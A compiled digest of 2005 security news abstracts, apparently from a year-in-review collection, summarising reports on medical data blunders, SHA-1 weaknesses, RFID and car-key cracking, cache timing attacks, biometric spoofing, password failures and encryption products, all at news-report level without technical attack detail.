In the United Kingdom, a report from the Council for Science and Technology calls on the government to share information among its various agencies while keeping a close eye on privacy concerns. Due to the sheer amount of data that the government collects and stores, pooling that data can facilitate improved public services, as happens already with health-related data. Mark Walport, head of medical charity at the Wellcome Trust and author of the report, said such data sharing in medical research has uncovered links between health problems and social factors and can allow researchers to closely track the effectiveness of various treatments over time. Walport suggested that similar benefits could be derived from governmental sharing of other types of data, which is currently not being used effectively. Walport said he believes that with adequate creative thinking, the government could see significant benefits from sharing data while ensuring protection for personal privacy. BBC, 20 November 2005

Category 38.9 Medical information & HIPAA
2005-12-02 **medical blunders risks information systems certification CAP links**

RISKS; <http://tinyurl.com/ayf5m> 24 11
RISKS OF MEDICAL BLUNDERS

RISKS moderator Peter Neumann summarizes reports of some serious medical blunders involving bad data:

* In 1999, a 47-year-old woman was diagnosed with breast cancer in Magee-Womens Hospital (part of the U. Pittsburgh Medical Center), and underwent a mastectomy. It was later discovered that the hospital lab had switched biopsy specimens. Ten cases against the hospital are now pending in state courts, even though the hospital has passed federal inspections. Similar lawsuits and complaints name other medical centers.

* In Maryland, a hospital lab sent out hundreds of HIV and hepatitis test results despite data showing that the results might be invalid and mistakenly lead infected patients to believe they were disease-free. The same laboratory had just received a top rating from CAP inspectors.

* In Yakima, Wash., eight emergency room doctors walked off their jobs to protest hospital deficiencies they said included lab mistakes, such as mixed-up blood samples. CAP had declared the lab "in good standing" the year before.

* At the famed Mayo Clinic in Minnesota, an allegedly misdiagnosed gall bladder cancer case led to revelations of a close relationship between the clinic and CAP. A Mayo pathologist serving on a CAP advisory panel twice sought and obtained accreditation renewals despite unacceptable lab practices cited by CAP inspectors.

Category 38.9 Medical information & HIPAA

2005-12-13 **medical systems security disaster recovery backup plan business continuity paper**

RISKS; <http://news.bbc.co.uk/1/hi/england/cambridgeshire/4521608.stm> 24 13
CAMBRIDGE HOSPITAL BUSINESS CONTINUITY PLANS WORK

RISKS correspondent Paul Bennett reports the following story about medical systems security and disaster recovery:

A computer system at a Cambridge hospital used for patient information such as admissions and discharges experienced some problems because of a fire at the Buncefield oil depot in Hertfordshire. A company providing some IT services to Addenbrooke's Hospital was based at the industrial park near the depot and was destroyed in the fire. It was expected to take a week to get the computer system up again, although reportedly no medical services were affected.

[Abstract by Peter G. Neumann]

Another UK correspondent, Peter Mellor, follows up:

The explosion and fire at the fuel depot near Hemel Hempstead, Hertfordshire:
<http://images.thetimes.co.uk/TGD/picture/0,,250768,00.jpg>

Connection with computers? Well, several nearby installations were wrecked (amazingly, no-one was seriously injured), one of which contained the electronic patient records of Addenbrooke's Hospital, Cambridge. The hospital reported that it would have to rely on paper records for several days until the computer files could be restored.

On the positive side, at least they had back-up. On the other hand, their disaster recovery planning seems to be a bit slack.

[Summary by Karthik Raman]

41 Cryptanalysis techniques & tools

Category 41

Cryptanalysis techniques & tools

2005-05-17

hyperthreading multiprocessor architecture shared cache decryption cracking timing attacks encryption weakness cryptanalysis

RISKS; <http://www.daemonology.net/papers/htt.pdf>

23

88

HYPERTHREADING AND SHARED CACHE ALLOW TIMING ATTACKS ON ENCRYPTION KEYS

Olin Sibert reported on public announcements about an unexpected consequence of hyperthreading multiple Intel Pentium 4 processors using shared cache:

Security researcher Colin Percival recently (13 May) announced a security vulnerability caused by the combination of the Hyperthreading and shared cache features of Intel Pentium 4 processors. By carefully measuring the time required for instructions to execute in one thread while the other thread is performing a cryptographic calculation, the secret key can be determined.

....

Sibert concluded, "The RISK here is a classic example of relying on underlying abstractions (the hardware memory model) to behave in an ideal manner, rather than understanding their implementations. Many security flaws result from the adversary breaking the veil of abstraction to look at the soft, juicy parts inside. Even when the higher-level model is perfect (or formally verified), the mapping to implementation can hide a multitude of sins."

>This vulnerability was also announced by Adi Shamir during the Cryptographer's Panel at RSA in February 2005. I thought it was the most interesting item in all the keynotes (although the hash function announcements were a close second), but it got essentially no press coverage (unlike this time, where it is being widely reported). Adi subsequently told me that he had a working implementation and planned to present it at the Eurocrypt rump session next week. The two attack implementations (Colin's and Adi's) are apparently quite different, but yield the same result, underscoring the severity of the problem. It's also similar to Paul Kocher's classic timing attacks.

The problem is particularly bad for processors with simultaneous multithreading ("Hyperthreading"), since that allows context switches to take place at a granularity of individual instructions, and thus allows very fine-grained time measurements. However, the same basic problem is present in any computer with a cache that is physically shared by processes in different security domains.<

42.1 Crypto algorithm weaknesses

Category 42.1

Crypto algorithm weaknesses

2005-02-16

Chinese researchers break compromise SHA-1 secure hash algorithm SHA-256 SHA-512 NIST recommendations

DHS IAIP Daily; <http://www.eetimes.com/article/showArticle.jhtml?articleId=60401254>

CHINESE RESEARCHERS CLAIM TO HAVE COMPROMISED SHA-1 HASHING ALGORITHM.

A team of three Chinese researchers claim to have compromised the SHA-1 hashing algorithm at the core of many of today's mainstream security products. Top cryptographers said users can still rely on today's SHA-1-based systems and applications, but next-generation products will need to move to new algorithms. In a panel discussion at the RSA Conference on Tuesday, February 15, Adi Shamir, a celebrated cryptographer and professor at Israel's Weizmann Institute of Science, said he received an e-mail that morning containing a draft technical paper from the research team of Xiaoyun Wang, Lisa Yiqun Yin, and Hongbo Yu who have links to Shandong University in China. The paper described how two separate documents could be manipulated to deliver the same SHA-1 hash with a computation of lower complexity level than previously believed possible. Shamir and others said they believe the work of the Chinese trio will probably be proven to be correct based on their academic reputations, although details of the paper are still under review. Perhaps anticipating the news, the National Institute of Standards and Technology issued a recommendation earlier this month that developers move to SHA-256 and SHA-512 algorithms by 2010.

42.2 Brute-force attacks

Category 42.2

Brute-force attacks

2005-02-01

RFID radio frequency identification device cryptographic weakness crack parallel processing fraud theft gasoline purchase automobile lock

RISKS; http://www.theregister.com/2005/01/31/rfid_crypto_alert/

23

69

KERCHOFF RULES

Chris Leeson summarized the predictable failure of a proprietary encryption algorithm:

According to an article in *The Register*, the security on RFID devices used in car keys and petrol pump payment systems has been broken (the article actually says "Researchers have discovered cryptographic vulnerabilities in the RFID technology..."")

The encryption uses "an unpublished, proprietary cipher that uses a 40-bit key".

The researchers managed to reverse-engineer the system and program a microchip to do the decoding in 10 hours. Using 16 of the chips in parallel reduced the search time to 15 minutes. At about \$200 per chip that's not an expensive brute force attack.

The article notes that although potential criminals could make fraudulent petrol charges and deactivate vehicle immobilisation systems, they would still have to get past physical locks in the car.

Provided that the car has them, of course.

I can't resist quoting from the last two paragraphs:

"The team recommends a program of distributing free metallic sheaths to cover its RFID devices when they are not being used in order to make attacks more difficult.

The company that markets ExxonMobil's SpeedPass system has said it has no knowledge that any fraudulent purchases have ever been made with a cloned version of its device."

The Risks? Well, apart from the fairly obvious security/fraud issues, it does seem to me that this is using technology for technology's sake. When I want to disarm the alarm on my car, I point the remote at it and press the button. I don't need an "always on" control...

Category 42.2

Brute-force attacks

2005-03-30

cryptanalysis evidence encryption massively parallel processing network computing government project criminal investigations

RISKS; <http://www.washingtonpost.com/wp-dyn/articles/A6098-2005Mar28.html>

23

83

SECRET SERVICE BUILDS DISTRIBUTED NETWORKING ATTACK TOOL FOR CRYPTANALYSIS

Faced with the increasing prevalence of encrypted evidence on computers seized in criminal investigations, the Secret Service has created a massively parallel computing array using 4,000 "of its employees' computers into the 'Distributed Networking Attack' program." Brian Krebs, writing in the Washington Post and abstracted by Peter G. Neumann of RISKS, reported that "The wide availability of powerful encryption software has made evidence gathering a significant challenge for investigators. Criminals can use the software to scramble evidence of their activities so thoroughly that even the most powerful supercomputers in the world would never be able to break into their codes. But the U.S. Secret Service believes that combining computing power with gumshoe detective skills can help crack criminals' encrypted data caches. Taking a cue from scientists searching for signs of extraterrestrial life and mathematicians trying to identify very large prime numbers, the agency best known for protecting presidents and other high officials is tying together its employees' desktop computers in a network designed to crack passwords that alleged criminals have used to scramble evidence of their crimes -- everything from lists of stolen credit card numbers and Social Security numbers to records of bank transfers and e-mail communications with victims and accomplices."

Category 42.2

Brute-force attacks

2005-11-10

password cracking service hackers online brute force rainbow tables

EDUPAGE; http://www.theregister.co.uk/2005/11/10/password_hashes/

NEW SERVICE CRACKS PASSWORDS

Three computer hackers have set up a Web site that offers access--for a fee--to so-called rainbow tables, which are said to allow cracking of most passwords. Computers use codes, or hashes, to conceal user passwords. The creators of the RainbowCrack Online Web site spent two years generating hashes for virtually all possible passwords and storing them in vast tables. With the tables, breaking a password becomes as simple as looking up the hashes and working backwards to the password. Developers of RainbowCrack said the service is not intended for malicious uses but as a tool for network administrators to improve the security of their systems. Security expert Bruce Schneier disagreed, saying he doesn't see any "legitimate business demand" for the service. Philippe Oechslin of Swiss firm Objectif Securite said that system designers can easily incorporate elements into password schemes that add sufficient complexity as to make rainbow tables ineffective in cracking passwords. Schneier said that although such changes are not difficult, very few systems are designed to use them. "A lot of systems are weak," he said. The Register, 10 November 2005

42.3 Crypto product implementation flaws

Category 42.3

Crypto product implementation flaws

2005-01-31

car keys Texas Instruments TI crack immobilizer radio-frequency microchips encryption decryption transponder

NewsScan; <http://australianit.news.com.au/articles/0>

WHERE DID I PUT MY CAR KEYS?

A research team at Johns Hopkins University has found a way to crack the code used in millions of car keys -- a development that could allow thieves to bypass the security systems on newer car models. The researchers found that the "immobilizer" security system developed by Texas Instruments could be cracked using a relatively inexpensive electronic device that acquires information hidden in the microchips that make the system work. The radio-frequency security system being used in more than 150 million new Fords, Toyotas and Nissans involves a transponder chip embedded in the key and a reader inside the car. If the reader does not recognize the transponder, the car will not start, even if the key inserted in the ignition is the correct one. (The Australian, 31 Jan 2005)

Category 42.3

Crypto product implementation flaws

2005-02-09

SafeNet SoftRemote Virtual Private Network client VPN key process memory disclosure update issued

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Feb/1013134.html>

VULNERABILITY IN SAFENET SOFTREMOTE VPN CLIENT MAY ALLOW LOCAL USERS TO OBTAIN VPN KEY

The SafeNet SoftRemote client 'IrcIKE.exe' process stores the VPN password (i.e., preshare key) in process memory. A local user with access to memory can obtain the key. The client also stores the key in encoded form in the Windows Registry and in policy files ('.spd' files). A local user with access to the registry or the policy files can decode the key. Vendor has prepared a fix to be available shortly: <http://www.safenet-inc.com/products/vpn/softRemote.asp>

43 I&A products (tokens, biometrics, passwords, Kerberos)

<i>Category 43</i>	<i>I&A products (tokens, biometrics, passwords, Kerberos)</i>
2005-10-19	Internet banking identification authentication I&A two-factor regulators government RISKS; http://tinyurl.com/cfvjm; http://tinyurl.com/dngl4
FEDS DEMAND TWO-FACTOR AUTHENTICATION FOR INTERNET BANKING	24 08

Federal regulators will require banks to strengthen security for Internet customers through authentication that goes beyond mere user names and passwords, which have become too easy for criminals to exploit. Bank Web sites are expected to adopt some form of "two-factor" authentication by the end of 2006, regulators with the Federal Financial Institutions Examination Council said in a letter to banks last week.

[Abstract by Peter G. Neumann]

43.1 Tokens

Category 43.1

Tokens

2005-02-15

key car house RFID radio frequency identifier hack future prediction

NewsScan; http://www.usatoday.com/tech/news/2005-02-15-nokey-usat_x.htm

A KEYLESS FUTURE

Some luxury vehicles don't have an ignition key slot anymore and residential-door hardware companies are marketing push-button entry systems for homes. Kevin Kraus of the door hardware company Schlage says, "In 10 to 20 years, the key will be nothing but a backup device." Cars offering keyless systems include the Lexus GS sport sedan, Cadillac XLR and STS, Mercedes-Benz S-Class and Chevrolet Corvette. Although Johns Hopkins University researchers recently reported they were able to hack their way through radio-frequency security codes on cars, Texas Instruments (one of the makers of radio-frequency equipment) says it has never had a security breach. Gale Johnson, editor of the trade publication *Locksmith Ledger* comments, "The mechanical key is disappearing. Locksmiths today are a little like a buggy maker in 1900." (USA Today 15 Feb 2005)

Category 43.1

Tokens

2005-02-17

identification authentication I&A RFID radio frequency identification device passport counter-terrorism border security data leakage confidentiality

RISKS; http://www.economist.com/science/displayStory.cfm?story_id=3666171

23

73

HIGH-TECH PASSPORTS ARE NOT WORKING

Yves Bellefeuille reports on an article in *The Economist*:

The usual arguments are made -- the technology isn't reliable, there will be too many false positives, and so on -- but there's also a new argument I hadn't seem before:

"The data on these chips will be readable remotely, without the bearer knowing. And -- gain at America's insistence -- those data will not be encrypted, so anybody with a suitable reader, be they official, commercial, criminal or terrorist, will be able to check a passport holder's details..."

"Passport chips are deliberately designed for clandestine remote reading. The ICAO [International Civil Aviation Organisation, a UN agency] specification refers quite openly to the idea of a "walk-through" inspection with the person concerned "possibly being unaware of the operation"."

Apparently, the only country that's ready for the US requirements is Belgium. It's really the *only* country: the US itself won't be able to deal with the passport requirements it's imposing on others by the November 2005 deadline!

Category 43.1

Tokens

2005-10-15

identification authentication token I&A

RISKS; http://cingular.com/voicemail_west

24

08

HAVING YOUR PHONE IS A CINGULAR TOKEN OF IDENTITY

Effective 26 Oct 2005, Cingular is switching to a new voicemail system for all its customers. One of the "features" is "Skip Password"--apparently, one will no longer need to enter a password if one has physical access to a handset. The option to continue to use a password will still be available, but "skip password" appears to be the default.

[Abstract by Steve Fenwick]

43.2 Biometrics

<i>Category</i>	<i>43.2</i>	<i>Biometrics</i>			
2005-02-01		biometric identification authentication credit card payment supermarket retail store			
RISKS; http://news.com.com/2100-1029-5559074.html			23		70
BIOMETRIC PAYMENT SYSTEMS IN SUPERMARKETS					

Monty Solomon extracted an interesting item on biometric I&A from an article by Jo Best:

A supermarket has given its customers the choice of paying by fingerprint at a store in the state of Washington--and has found them surprisingly willing to use the biometric system. U.S. chain Thriftway introduced the system, which uses technology from Pay By Touch, in its store in the Seattle area in 2002. It said it now sees thousands of transactions a month using the payment method. Once people have enrolled in the Pay By Touch system, they have their fingerprint scanned as verification of identity at the checkout. They then choose which credit card they want to pay the bill with, having already registered the credit cards with the store.

Thriftway President Paul Kapiski said rather than shying away from the technology because of concerns about protecting their privacy, customer demand ensured that the biometric payment system made it past the pilot stage. ...

<i>Category</i>	<i>43.2</i>	<i>Biometrics</i>			
2005-02-17		password type authentication keystroke dynamics biometrics			
NewsScan; http://www.usatoday.com/tech/news/computersecurity/2005-02-17-typing-biometric_x.htm					
YOU ARE WHAT YOU TYPE					

Researchers at Louisiana Tech and the University of Pennsylvania have come up with a way of incorporating a user's style of typing into his or her system password. One of the researchers explains, "We look at the time between keystrokes, and the time it takes to press a key." It appears that style of typing is as unique as your eye color or speech patterns. Who would have thought it. (AP/USA Today 17 Feb 2005)

<i>Category</i>	<i>43.2</i>	<i>Biometrics</i>			
2005-04-04		biometric identification authentication I&A theft fraud amputation automobile security			
RISKS; http://www.theregister.co.uk/2005/04/04/fingerprint_merc_chop/			23		83
CARJACKERS SWIPE BIOMETRIC MERCEDES, PLUS OWNER'S FINGER					

A Malaysian businessman has lost a finger to car thieves impatient to get around his Mercedes' fingerprint security system. Accountant K Kumaran, the BBC reports, had at first been forced to start the S-class Merc, but when the carjackers wanted to start it again without having him along, they chopped off the end of his index finger with a machete.

The fingerprint readers themselves will, like similar devices aimed at the computer or electronic device markets, have a fairly broad tolerance, on the basis that products that stop people using their own cars, computers or whatever because their fingers are a bit sweaty won't turn out to be very popular.

They slow thieves up a tad, many people will find them more convenient than passwords or pin numbers, and as they're apparently 'cutting edge' and biometric technology is allegedly 'foolproof', they allow their owners to swank around in a false aura of high tech.

And that is exactly where the risks lie, high-tech does not necessarily mean high-security!

At least in sci-fi, fingerprint systems check for a heartbeat or pulse!!!

[‘Cutting edge’, eh? Wow! Incidentally, for many years I’ve been citing the concept of an amputated finger as a hypothetical way of defeating a poorly designed fingerprint analyzer. It’s no longer hypothetical. PGN]

--contributed by Alpha Lau via RISKS

Category 43.2

Biometrics

2005-06-15

US extension biometric passport requirement UK DHS terrorism anti-terrorism civil liberties privacy concerns

EDUPAGE; http://news.com.com/2100-7348_3-5748629.html

U.S. GRANTS ANOTHER EXTENSION TO BIOMETRIC PASSPORTS

In a concession to nearly half of the countries in the Visa Waiver Program, officials from the United States have again extended the deadline for the addition of biometric data to passports. The program allows citizens of 27 countries to visit the United States using a passport only--without applying for a visa--for up to 90 days. In an effort to increase security, U.S. authorities said they would require that biometric information be added to passports in participating countries by October 26, 2005. After 13 of the countries in the program said they would miss the deadline, which had already been delayed once, U.S. security officials said countries would have another year to comply with the new regulation. The United States will, however, require participating countries to add digital photographs by the October deadline. The United States stood to lose potentially billions of dollars spent by tourists and business travelers from those countries if the deadline had not been extended. CNET, 15 June 2005

Category 43.2

Biometrics

2005-12-02

DHS federal identification fingerprint images biometrics templates

DHS IAIP Daily; <http://www.fcw.com/article91576-12-02-05-Web>

FEDERAL IDENTIFICATION CARDS MAY GET FASTER, SAFER

By the end of December, the federal government is expected to pick a new storage standard for fingerprint data on its new Personal Identity Verification cards, a Department of Homeland Security (DHS) official said Friday, December 2. The cards are expected to use a mathematical template of fingerprint images of cardholders' two index fingers, instead of compressed images of the prints themselves, said Kevin Crouch, portfolio manager for Homeland Security Presidential Directive 12 implementation at DHS' Joint Office of Interoperable Communications. The switch breaks the nearly year-long deadlock over whether the PIV cards should use images or templates, said Walter Hamilton, chairman of the International Biometric Industry Association and vice president and general manager of biometric solutions at Saflink. The decision marks a victory for the biometrics industry, which supports using templates. Templates require less data and processing time and protect the privacy of data better than images do, Hamilton said. The National Institute of Standards and Technology supported using compressed images because the template technology is less tested than image technology.

Category 43.2

Biometrics

2005-12-12

biometric security researchers crack Play-Doh fake fingerprints

DHS IAIP Daily; <http://www.pcpro.co.uk/news/81257/researchers-crack-biometric-security-with-playdoh.html>

RESEARCHERS CRACK BIOMETRIC SECURITY WITH PLAY-DOH

Using fake fingerprints, researchers in New York have managed to break nearly all the biometric identification systems they tested. Headed by Clarkson University associate professor of Electrical and Computer Engineering Stephanie C. Schuckers, they used fake fingers made by taking casts of live fingers and using the molds to create copies in Play-Doh. The 60 fake fingers were then tested and were successfully authenticated by the combination of the fingerprint readers and their accompanying software in nine out of every ten attempts. "Digits from cadavers and fake fingers molded from plastic, or even something as simple as Play-Doh or gelatin, can potentially be misread as authentic," Schuckers explained. The team subsequently developed a technique for distinguishing live digits by detecting changing moisture patterns and reduced the false detection rate to less than 10 percent. "Since liveness detection is based on the recognition of physiological activities as signs of life, we hypothesized that fingerprint images from live fingers would show a specific changing moisture pattern due to perspiration but cadaver and spoof fingerprint images would not," Schuckers explained.

Category 43.2 Biometrics

2005-12-16 **NIST standard biometric minutia HSPC-12 DHS PD 12**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/37790-1.html

NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY CHOOSES MINUTIA FOR HSPD-12 BIOMETRIC STANDARD

After nearly a year in the making, the National Institute of Standards and Technology (NIST) has been convinced that minutia is an acceptable way to store fingerprint biometric data on smart cards. Amid pressure from industry, agencies and the administration, NIST Thursday, December 15, released the biometric specification for Federal Information Processing Standard 201, Personal Identity Verification under Homeland Security Presidential Directive 12, calling for agencies to store two index fingerprints on the smart card using the International Committee for Information Technology Standard 358 for minutia. Each fingerprint template shall be wrapped in the Common Biometric Exchange Formats Framework structure, NIST said in Special Publication 800-76. NIST originally wanted to store fingerprints using a digital image because it is more entrenched, while minutia is still new and the standard hasn't been tested enough. During the past 11 months, the indecision caused the White House to get involved in the final decision. Agencies, vendors and other interested parties have until January 13, 2006, to comment on this latest draft. NIST then will issue a final version about a month later. Federal Information Processing Standards Publication on Personal Identity Verification of Federal Employees and Contractors:

<http://www.csrc.nist.gov/publications/fips/fips201/FIPS-201-022505.pdf> NIST Special Publication 800-76:

http://csrc.nist.gov/publications/drafts/800-76Draft/sp-800-76_draft.pdf

Category 43.2 Biometrics

2005-12-16 **biometrics face facial recognition NIST fingerprints ID cards specifications federal government draft**

EDUPAGE; <http://www.fcw.com/article91747-12-16-05-Web>

NIST SETS DATA SPECS FOR BIOMETRIC ID CARDS

The National Institute of Standards and Technology (NIST) has established and published biometric data specifications, required for federal ID cards slated for implementation in October 2006. The new specs cover fingerprints and facial image recognition. Comments on the draft specs will be accepted until January 13, 2006.

43.3 Passwords

Category 43.3

Passwords

2005-08-10

unauthorized use administrator passwords students policy felony charges monitoring

RISKS; <http://www.wired.com/news/technology/0,1282,68480,00.html>

24

02

ADMIN PASSWORDS TAPED TO BACKS OF LAPTOPS; STUDENTS FACE FELONY CHARGES

Thirteen high-school students in the Kutztown Area School District (Pennsylvania) face felony charges of tampering with computers after defeating security measures on laptops issued to them by the school district. They used administrator passwords (taped to the backs of the computers) to override Internet filters and download software such as iChat that the district policy forbids. The laptops included an application that allowed district administrators to see what students did with the computers. However, the students modified the monitoring program so that they could see what the administrators did with their computers. The students and their parents argued that the felony charges are unwarranted, but, according to the district, students and parents signed acceptable use policies that clearly state what activities are not allowed and that warn of legal consequences if the policy is violated. The students continued to violate district policies for use of the computers even after detentions, suspensions, and other punishments, according to the district. Only then did school officials contact the police.

[Abstract by Peter G. Neumann]

Category 43.3

Passwords

2005-09-16

password sniffing audio recognition tuning spell-check high accuracy

DHS IAIP Daily;

http://news.yahoo.com/s/sv/_www12662937;_ylt=AiX.GcAU5Lpn34bn3op.pus0NUE;_ylu=X3oDMTA3cjE0b2MwBHNIYwM3Mzg-,
<http://siliconvalley.com>

TUNING INTO PASSWORDS

Many people have heard of keyboard sniffing, in which someone sneaks software into your computer and monitors e-mail or documents. There is a new security threat that researchers are warning: keyboard listening. A graduate student in computer science at the University of California-Berkeley, developed a way of making audio recordings of keyboard strokes to see if words and phrases could be deciphered accurately. Using a microphone plugged into a laptop running generic speech recognition and spell-check software, the team was able to associate the sound of individual keys on a keyboard with specific letters and thus figure out what was being written with 96 percent accuracy.

Category 43.3

Passwords

2005-10-21

canonical passwords Joe accounts primitive security elementary errors identification authentication I&A preemption denial of service DoS

RISKS

24

08

CANONICAL PASSWORDS (STILL!)

San Francisco administrators of OARS, Online Assessment Reporting System, issued a generic password (same for all teachers) that left the system wide open to anyone who knew a teacher's user name, because many teachers had not gotten around to changing the password. [Source: Nanette Asimov, *San Francisco Chronicle*, 21 Oct 2005, B2]

Cingular moved its voicemail system over to an AT&T wireless service over the past two weeks. Anyone initializing the account before the legitimate owner can then gain total access to the account. Approximately 26 million Cingular subscribers of the old system are potentially affected. [Source: Ryan Kim, *San Francisco Chronicle*, 21 Oct 2005, C1]

[Abstracts by Peter G. Neumann]

<i>Category</i>	<i>43.3</i>	<i>Passwords</i>			
2005-11-18		passwords authentication plaintext plain text risks sniffing			
RISKS; http://www.infoworld.com/article/05/11/04/45OPsecadvise_1.html			24		11
RISKS OF PLAINTEXT PASSWORDS					

RISKS contributor Steve Summit points us to a report about the risks of using plaintext passwords. He writes, "[T]he article also makes the point that although the passwords so sniffed are often "unimportant" ones, for services such as mere e-mail access or gambling site logins, people are often known to use their same passwords for these and for their "secure" systems such as Windows network logins."

Mr. Summit additionally recommends security expert Bruce Schneier's newsletter "Crypto-Gram", available at <<http://www.schneier.com/crypto-gram.html>>

43.5 Single sign-on

Category 43.5

Single sign-on

2005-08-05

General Services Administration GSA identity management plan single sign-on framework

EDUPAGE; <http://www.fcw.com/article89823-08-05-05-Web>

GSA CALLS FOR COMMENTS ON IDENTITY MANAGEMENT PLAN

The General Services Administration (GSA) has called for comments on its plan for decentralized identity management. The system would permit secure single sign-on for users of online government services. A common network would link government or commercial entities that provide identity management services with the agency applications using those services. The program, called the E-Authentication Service Component, would employ this federated approach to avoid having government agencies develop their own e-authentication frameworks. Agencies could purchase and integrate a product from a government-approved provider list. The plan also calls for an E-Authentication Portal. Comments may be submitted through September 6, 2005. Federal Computer Week, 5 August 2005

43.6 E-mail authentication (e.g., SPF & SenderID)

<i>Category</i>	43.6	<i>E-mail authentication (e.g., SPF & SenderID)</i>		
2005-04-18		e-mail secure transfer delivery receipt confirmation smart card reader electronic digital signature certificate authority		
RISKS; http://www.ynetnews.com/articles/0,7340,L-3073923,00.html			23	84
ISRAELIS TO RECEIVE SECURE E-MAIL ADDRESS TO BE USED FOR CONTACTS WITH AUTHORITIES				

Shoshanah Forbes expressed skepticism about the proposed "secure e-mail" initiative in Israel:

"The Social-Economic Cabinet approved Sunday a plan put forth by Finance Minister Benjamin Netanyahu to expand Israel's *approachable Government* program. The government also approved the *safe deposit box* program, a system of secure e-mail boxes that would allow government offices to send official permits, signed forms, receipts and messages to businesses and individuals. [...] At first, the system will support forms in text format (TXT, PDF, RTF, HTML, XML), the last two without Active Script. The 'safe' will require the recipient to send a 'proof of receipt' to the sender. Each sent message will be coded to identify the sender, to allow the recipient to forward the message to a third party, and an expiry date. [...] In order to use the system, individuals and businesses will be required to obtain a smart card, a card reader (estimated cost: NIS 55 or about USD 12), and to register an electronic signature (approximately NIS 20 or about USD 4.5)."

In addition to all the usual RISKS such a scheme brings up, I should note that to this date, the bill paying website (<http://www.mybill.co.il>) works only with Win/IE, so I won't be surprised if the above setup will also be Win/IE only.

44.1 Crypto algorithms

Category 44.1

Crypto algorithms

2005-02-07

National Institute of Standards and Technology NIST SHA-1 hash algorithm change SHA-256 SHA-512 no emergency

DHS IAIP Daily; <http://www.fcw.com/fcw/articles/2005/0207/web-hash-02-07-05.asp>

NIST PLANNING TO CHANGE WIDELY-USED CRYPTOGRAPHIC HASH FUNCTION

Federal agencies have been put on notice that National Institute of Standards and Technology (NIST) officials plan to phase out a widely used cryptographic hash function known as SHA-1 in favor of larger and stronger hash functions such as SHA-256 and SHA-512. The change will affect many federal cryptographic functions that incorporate hashes, particularly digital signatures, said William Burr, manager of NIST's security technology group, which advises federal agencies on electronic security standards. "There's really no emergency here," Burr said. "But you should be planning how you're going to transition — whether you're a vendor or a user — so that you can do better cryptography by the next decade."

Category 44.1

Crypto algorithms

2005-02-20

new cryptographic protocol secure wireless network delayed password disclosure Indiana University source code release 2005

DHS IAIP Daily; <http://www.newscientist.com/article.ns?id=dn7037>

NOVEL CRYPTOGRAPHIC PROTOCOL COULD HELP SECURE WIRELESS COMPUTER NETWORKS.

Markus Jakobsson and Steve Myers of Indiana University demonstrated a new security scheme, dubbed "delayed password disclosure," at the American Association for the Advancement of Science meeting in Washington, DC, on Saturday, February 19. Existing security protocols focus on securing the link between two machines to counteract eavesdropping. But making sure that a computer is connected to a legitimate access point in the first place is also important. If a hacker uses his computer as a fake access point and then relays the messages on to a real one, the information can be stolen covertly. The delayed password disclosure protocol counteracts this threat by allowing both parties to use a pre-arranged password or pin for authentication, but prevents this from being revealed during communications. Jakobsson adds that the scheme would be not be noticed by users, as they are only notified when the wireless link seems suspicious. Computer code for the protocol will be released in the next couple of months and a version for mobile phones should also be ready by the end of 2005.

44.2 Crypto products

Category 44.2

Crypto products

2005-02-15

instant messaging IM off-the-record OTR private encrypted chat no trace Gaim plugin AOL proxy University California Berkeley

DHS IAIP Daily; <http://news.zdnet.co.uk/internet/security/0,39020375,39187934,0.htm>

INSTANT MESSAGING GETS PERFECT FORWARD SECURITY

Two researchers at the University of California at Berkeley have created an add-on to instant messaging (IM) that they claim will enable the participants to identify each other and have a secure conversation without leaving any proof that the chat occurred. The result, dubbed off-the-record (OTR) messaging by security researchers Ian Goldberg and Nikita Borisov, is a plug-in for the Gaim open source instant-messaging client that enables encrypted messages that do not leave a key that could be used to verify that the conversation happened. That attribute, known in cryptography as perfect forward security, also prevents snoopers from reading any copies of the conversation. In order for a secure and deniable IM conversation to occur, both parties need to have the off-the-record program installed on Gaim or use America Online's Instant Messenger with a server set up to be a proxy with software also developed by Goldberg and Borisov.

Category 44.2

Crypto products

2005-05-03

quantum cryptography single photon light beam stop hackers interception key

DHS IAIP Daily;

<http://www.reuters.com/newsSciTech.jhtml;jsessionid=QT1GT4CX50JBYCRBAE>
ZSFFA

SCIENTISTS CLAIM DEVELOPMENT OF CODE TO STOP HACKERS

Australian scientists believe they have developed an unbreakable information code to stop hackers, using a diamond, a kitchen microwave oven and an optical fiber. Researchers at Melbourne University used the microwave to "fuse" a tiny diamond, just 1/1000th of a millimeter, onto an optical fiber, which could be used to create a single photon beam of light which they say cannot be hacked. Photons are the smallest known particles of light. Until now, scientists could not produce a single-photon beam, thereby narrowing down the stream of light used to transmit information. "When it comes to cryptology, it's not so much of a problem to have a coded message intercepted, the problem is getting the key (to decode it)," said university research fellow James Rabeau, who developed the diamond device. "The single-photon beam makes for an unstealable key."

Category 44.2

Crypto products

2005-07-26

VoIP voice over IP Internet telephony surveillance snooping confidentiality data leakage fraud encryption protection defense

RISKS; <http://www.wired.com/news/technology/0,1282,68306,00.html>

23

95

PHIL ZIMMERMANN TACKLES VOIP SECURITY

First there was PGP e-mail. Then there was PGPFone for modems. Now Phil Zimmermann, creator of the wildly popular Pretty Good Privacy e-mail encryption program, is debuting his new project, which he hopes will do for internet phone calls what PGP did for e-mail. Zimmermann has developed a prototype program for encrypting voice over internet protocol, or VOIP, which he will announce at the BlackHat security conference in Las Vegas this week.

Like PGP and PGPFone, which he created as human rights tools for people around the world to communicate without fear of government eavesdropping, Zimmermann hopes his new program will restore some of the civil liberties that have been lost in recent years and help businesses shield themselves against corporate espionage.

[Extract from article by Kim Zetter in Wired News]

44.3 Steganography

Category 44.3

Steganography

2005-10-21

**steganography printer identification tracking surveillance criminal investigation
identification originator**

RISKS; <http://tinyurl.com/d9axy>;
<http://www.eff.org/Privacy/printers/docucolor/>

24 08

PRINTER STEGANOGRAPHY

Many color printers (Xerox, HP, etc.) add barely visible yellow dots that encode printer serial numbers and time stamps (down to the minute). Intended primarily to combat counterfeiters, the purportedly "secret" steganographic code in color printer copies has now been decoded by four people at the Electronic Frontier Foundation. (The encoding is straightforward, and includes no encryption.) There are of course various slippery-slope privacy issues.

[Abstract by Peter G. Neumann]

[MK adds: Such tracking information may be helpful in criminal investigation of threats sent through printed documents or frauds involving such documents. In countries with repressive regimes, it may be used by authorities to track down publishers of samizdat (unauthorized newsletters). In corporations, it may be used to identify anonymous whistleblowers.]

45.4 E-payments; e.g., credit-cards, e-brokers

Category 45.4 *E-payments; e.g., credit-cards, e-brokers*

